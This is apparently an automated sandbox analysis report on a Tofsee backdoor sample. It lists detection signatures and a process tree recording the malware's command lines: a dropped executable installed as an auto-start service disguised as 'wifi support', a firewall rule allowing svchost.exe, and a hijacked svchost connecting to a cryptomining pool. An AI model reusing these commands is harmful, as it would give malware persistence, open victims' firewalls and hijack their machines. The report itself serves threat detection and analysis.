Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    10/11/2020, 11:28

General

  • Target
    d75741013d7ee0596d2fc4d94087a29fe6b8da3700318f011fb6b7e1615eef21.exe
  • Size 11.4MB
  • Sample201110-va5cy4d986
  • SHA256 d75741013d7ee0596d2fc4d94087a29fe6b8da3700318f011fb6b7e1615eef21
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d75741013d7ee0596d2fc4d94087a29fe6b8da3700318f011fb6b7e1615eef21.exe
    "C:\Users\Admin\AppData\Local\Temp\d75741013d7ee0596d2fc4d94087a29fe6b8da3700318f011fb6b7e1615eef21.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1812
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 552
      2⤵
      • Program crash
      PID:3476
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 680
      2⤵
      • Program crash
      PID:408
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 704
      2⤵
      • Program crash
      PID:752
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 656
      2⤵
      • Program crash
      PID:3960
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 808
      2⤵
      • Program crash
      PID:3576
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 788
      2⤵
      • Program crash
      PID:2344
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 952
      2⤵
      • Program crash
      PID:1132
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qerdfvqn\
      2⤵
        PID:3044
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 756
        2⤵
        • Program crash
        PID:3864
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 752
        2⤵
        • Program crash
        PID:3624
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wjvslydn.exe" C:\Windows\SysWOW64\qerdfvqn\
        2⤵
          PID:2648
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 512
          2⤵
          • Program crash
          PID:3936
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 748
          2⤵
          • Program crash
          PID:952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qerdfvqn binPath= "C:\Windows\SysWOW64\qerdfvqn\wjvslydn.exe /d\"C:\Users\Admin\AppData\Local\Temp\d75741013d7ee0596d2fc4d94087a29fe6b8da3700318f011fb6b7e1615eef21.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3132
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 504
            2⤵
            • Program crash
            PID:1108
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 656
            2⤵
            • Program crash
            PID:2280
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qerdfvqn "wifi internet conection"
            2⤵
              PID:2292
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 680
              2⤵
              • Program crash
              PID:3688
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 656
              2⤵
              • Program crash
              PID:2168
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qerdfvqn
              2⤵
                PID:3420
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 732
                2⤵
                • Program crash
                PID:3148
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 800
                2⤵
                • Program crash
                PID:1020
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3292
              • C:\Windows\SysWOW64\qerdfvqn\wjvslydn.exe
                C:\Windows\SysWOW64\qerdfvqn\wjvslydn.exe /d"C:\Users\Admin\AppData\Local\Temp\d75741013d7ee0596d2fc4d94087a29fe6b8da3700318f011fb6b7e1615eef21.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3784
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3784 -s 580
                  2⤵
                  • Program crash
                  PID:3608
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:344
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2220
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3784 -s 604
                  2⤵
                  • Program crash
                  PID:2056

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/344-23-0x00000000097D0000-0x0000000009BDB000-memory.dmp

                    memory/344-22-0x0000000003600000-0x0000000003605000-memory.dmp

                    memory/344-21-0x00000000033F0000-0x0000000003400000-memory.dmp

                    memory/344-20-0x0000000003350000-0x0000000003356000-memory.dmp

                    memory/344-19-0x0000000005150000-0x000000000535F000-memory.dmp

                    memory/344-14-0x0000000003250000-0x0000000003265000-memory.dmp

                    memory/344-24-0x0000000003610000-0x0000000003617000-memory.dmp

                    memory/1812-1-0x00000000040E0000-0x00000000040E1000-memory.dmp

                    memory/1812-0-0x0000000002664000-0x0000000002665000-memory.dmp

                    memory/2220-25-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                    memory/3784-12-0x0000000002C50000-0x0000000002C51000-memory.dmp

                    memory/3784-10-0x000000000242F000-0x0000000002430000-memory.dmp